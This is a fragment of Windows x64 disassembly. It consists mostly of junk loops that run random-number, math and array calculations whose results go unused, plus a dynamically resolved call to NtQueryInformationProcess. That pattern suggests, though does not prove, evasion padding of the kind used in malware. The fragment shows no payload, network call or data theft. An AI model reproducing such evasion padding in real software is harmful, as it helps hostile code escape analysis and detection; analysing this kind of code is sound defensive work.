movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
mov eax, dword [rbp + 0x1ad4]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x1758]
add rax, rdx
mov edx, dword [rbp + 0x1ad8]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x1748]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [rbp + 0x1ad4]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x1750]
add rax, rdx
mov edx, dword [rbp + 0x1ad8]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x1740]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
sub dword [rbp + 0x1ad4], 1
add dword [rbp + 0x1ad8], 1
cmp dword [rbp + 0x1ad8], 0x2503
jle 0x1400028d6
mov rax, qword [rbp + 0x1758]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x1750]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x1748]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x1740]
mov rcx, rax
call sym.free
mov dword [rbp + 0x1ac0], 0xffffffff
mov ecx, 0x125e0
call sym.malloc
mov qword [rbp + 0x1738], rax
add dword [rbp + 0x1ac0], 1
call sym.rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x14000b270]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x1ac0]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x1738]
add rax, rdx
movsd xmm1, qword [0x14000b290]
subsd xmm0, xmm1
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x1ac0]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x1738]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x1ac0]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x1738]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sym.acos
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x1ac0], 0x24ba
jle 0x140002bb3
mov rax, qword [rbp + 0x17a8]
lea rdx, str.NtQueryInformationProcess
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1730], rax
mov rax, qword [rbp + 0x1340]
lea rcx, [rbp - 0x30]
lea rdx, [rbp + 0x133c]
mov qword [rsp + 0x20], rdx
mov r10, qword [rbp + 0x1730]
mov r9d, 0x30
mov r8, rcx
mov edx, 0
mov rcx, rax
call r10
mov dword [rbp + 0x1abc], 0xe56
jmp 0x140002d19
mov dword [rbp + 0x1ab8], 0xffffffff
add dword [rbp + 0x1ab8], 1
call sym.rand
imul eax, eax, 0x2d1
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x14000b270]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call dbg.log
movq rax, xmm0
mov qword [rbp + 0x1390], rax
cmp dword [rbp + 0x1ab8], 0x92
jle 0x140002cc5
sub dword [rbp + 0x1abc], 1
cmp dword [rbp + 0x1abc], 0x62
jg 0x140002cbb
mov ecx, 0x159678
call sym.malloc
mov qword [rbp + 0x1728], rax
mov ecx, 0x159678
call sym.malloc
mov qword [rbp + 0x1720], rax
mov ecx, 0x159678
call sym.malloc
mov qword [rbp + 0x1718], rax
mov dword [rbp + 0x1ab4], 0
jmp 0x140002e35
mov dword [rbp + 0x1ab0], 0
jmp 0x140002e1e
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x1ab4]
cdqe
imul rcx, rax, 0x748
mov rax, qword [rbp + 0x1728]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x1ab0]
cdqe
movss dword [rcx + rax*4], xmm0
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x1ab4]
cdqe
imul rcx, rax, 0x748
mov rax, qword [rbp + 0x1720]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x1ab0]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x1ab0], 1
cmp dword [rbp + 0x1ab0], 0x1d1
jle 0x140002d73
add dword [rbp + 0x1ab4], 1
cmp dword [rbp + 0x1ab4], 0x2f6
jle 0x140002d64
mov dword [rbp + 0x1ab4], 0
jmp 0x140002ef4
mov dword [rbp + 0x1ab0], 0
jmp 0x140002edd
mov eax, dword [rbp + 0x1ab4]
cdqe
imul rdx, rax, 0x748
mov rax, qword [rbp + 0x1728]
add rdx, rax
mov eax, dword [rbp + 0x1ab0]
cdqe
movss xmm1, dword [rdx + rax*4]
mov eax, dword [rbp + 0x1ab4]
cdqe
imul rdx, rax, 0x748
mov rax, qword [rbp + 0x1720]
add rdx, rax
mov eax, dword [rbp + 0x1ab0]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0x1ab4]
cdqe
imul rdx, rax, 0x748
mov rax, qword [rbp + 0x1718]
add rdx, rax
addss xmm0, xmm1
mov eax, dword [rbp + 0x1ab0]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x1ab0], 1
cmp dword [rbp + 0x1ab0], 0x1d1
jle 0x140002e60
add dword [rbp + 0x1ab4], 1
cmp dword [rbp + 0x1ab4], 0x2f6
jle 0x140002e54
mov rax, qword [rbp + 0x1728]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x1720]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x1718]
mov rcx, rax
call sym.free
mov rax, qword [rbp - 0x28]
add rax, 8
mov qword [rbp + 0x1710], rax
mov qword [rbp + 0x1330], 0
mov dword [rbp + 0x1aac], 0
mov dword [rbp + 0x1aa8], 1
mov dword [rbp + 0x1aa4], 0
mov dword [rbp + 0x170c], 0x12e9
jmp 0x140002fa8
mov edx, dword [rbp + 0x1aac]
mov eax, dword [rbp + 0x1aa8]
add eax, edx
mov dword [rbp + 0x139c], eax
add dword [rbp + 0x1aa4], 1
mov eax, dword [rbp + 0x1aa8]
mov dword [rbp + 0x1aac], eax
mov eax, dword [rbp + 0x139c]
mov dword [rbp + 0x1aa8], eax
mov eax, dword [rbp + 0x1aa4]
cmp eax, dword [rbp + 0x170c]
jl 0x140002f75
mov dword [rbp + 0x1708], 0
mov ecx, 0x16b66c
call sym.malloc
mov qword [rbp + 0x1700], rax
mov ecx, 0x16b66c
call sym.malloc
mov qword [rbp + 0x16f8], rax
mov ecx, 0x16b66c
call sym.malloc
mov qword [rbp + 0x16f0], rax
mov dword [rbp + 0x1aa0], 0
jmp 0x1400031fd
mov dword [rbp + 0x1a9c], 0
jmp 0x1400031e6
mov dword [rbp + 0x1a98], 0xdc
jmp 0x140003024
sub dword [rbp + 0x1a98], 1
cmp dword [rbp + 0x1a98], 0
jg 0x14000301d
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x32
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x1aa0]
cdqe
imul rcx, rax, 0xb34
mov rax, qword [rbp + 0x1700]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x1a9c]
cdqe
movss dword [rcx + rax*4], xmm0
mov dword [rbp + 0x1a94], 0xffffffff
mov ecx, 0x248
call sym.malloc
mov qword [rbp + 0x13a8], rax
mov ecx, 0x248
call sym.malloc
mov qword [rbp + 0x13a0], rax
add dword [rbp + 0x1a94], 1
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2sd xmm6, edx
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2sd xmm1, edx
mov eax, dword [rbp + 0x1a94]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x13a8]
add rax, rdx
divsd xmm6, xmm1
movupd xmm0, xmm6
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x1a94]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x13a8]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x1a94]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x13a0]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sym.ceil
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x1a94], 0x47
jle 0x1400030ab
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x32
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x1aa0]
cdqe
imul rcx, rax, 0xb34
mov rax, qword [rbp + 0x16f8]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x1a9c]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x1a9c], 1
cmp dword [rbp + 0x1a9c], 0x2cc
jle 0x140003011
add dword [rbp + 0x1aa0], 1
cmp dword [rbp + 0x1aa0], 0x206
jle 0x140003002
mov dword [rbp + 0x1aa0], 0
jmp 0x1400033c7
mov dword [rbp + 0x1a9c], 0
jmp 0x1400033b0
cmp dword [rbp + 0x1a9c], 0x2cc
jle 0x14000322b
cmp dword [rbp + 0x1aa0], 0x206
jle 0x14000321c
mov rax, qword [rbp + 0x1700]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x16f8]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x16f0]
mov rcx, rax
call sym.free
mov qword [rbp + 0x1a80], 0
mov dword [rbp + 0x16ec], 0xa1
mov dword [rbp + 0x1a88], 1
jmp 0x14000343b
mov eax, dword [rbp + 0x1a88]
cmp eax, dword [rbp + 0x16ec]
jle 0x140003425
mov eax, 0
movups xmm6, xmmword [rbp + 0x1b60]
add rsp, 0x1bf8
pop rbx
pop rsi
pop rdi
pop rbp
ret